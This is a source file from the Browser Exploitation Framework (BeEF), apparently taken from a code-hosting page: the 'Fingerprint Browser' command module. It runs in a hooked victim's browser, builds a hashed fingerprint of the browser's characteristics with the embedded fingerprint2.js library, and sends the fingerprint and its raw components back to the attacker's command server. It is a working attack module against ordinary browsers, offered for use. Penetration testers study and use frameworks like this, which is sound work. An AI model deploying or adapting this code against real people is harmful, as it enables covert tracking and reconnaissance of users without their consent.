Path: blob/master/modules/browser/fingerprint_browser/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78<%=9begin10f = "#{$root_dir}/modules/browser/fingerprint_browser/fingerprint2.js"11File.read(f)12rescue => e13print_error "[Fingerprint Browser] Could not read file '#{f}': #{e.message}"14end15%>1617try {18setTimeout(function () {19Fingerprint2.get(function (components) {20var values = components.map(function (component) { return component.value })21var murmur = Fingerprint2.x64hash128(values.join(''), 31)22beef.debug('[Fingerprint Browser] Fingerprint: ' + murmur);23beef.debug('[Fingerprint Browser] Components: ' + JSON.stringify(components));24beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fingerprint=' + murmur + '&components=' + JSON.stringify(components), beef.are.status_success());25})26}, 500)27} catch(e) {28beef.debug('[Fingerprint Browser] Error: ' + e.message);29beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + e.message, beef.are.status_error());30}31});32333435